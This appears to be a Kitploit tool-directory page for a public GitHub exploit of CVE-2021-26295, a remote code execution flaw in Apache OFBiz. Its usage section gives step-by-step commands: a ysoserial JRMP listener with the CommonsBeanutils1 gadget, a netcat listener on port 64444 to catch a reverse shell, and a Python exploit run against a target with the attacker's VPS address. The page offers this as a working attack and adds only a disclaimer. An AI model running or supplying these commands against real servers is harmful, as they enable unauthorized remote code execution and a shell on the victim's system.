Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-26295 — Exploit for CVE-2021-26295 (Apache OFBiz RCE) using ysoserial JRMP listener to execute commands and obtain a reverse shell on vulnerable targets. | Kitploit
Tools/GitHubGitHub/dskho/cve-2021-26295
Vulnerability AnalysisExploitationWeb Application ExploitationCommand and ControlRemote Access ToolPayload Development
GitHubdskho/cve-2021-26295

CVE-2021-26295

Exploit for CVE-2021-26295 (Apache OFBiz RCE) using ysoserial JRMP listener to execute commands and obtain a reverse shell on vulnerable targets.

View Repository
1015 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-26295

CVE-2021-26295 EXP can successfully get a reverse shell

This article and tool are for technical sharing only. Any illegal use is strictly prohibited. The user shall bear all consequences.

Trigger command execution EXP

1. VPS starts RMI listener on port 9999

root@kitploit:~
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '[command to execute]'

2. VPS starts nc listener on port

64444
root@kitploit:~
nc -lvp 64444

3. Execute the Python script

root@kitploit:~
python3 cve-2021-26295_exp.py <target> <vps_ip> <vps_port>

Example

1616580076993

1616580247015

Download Tool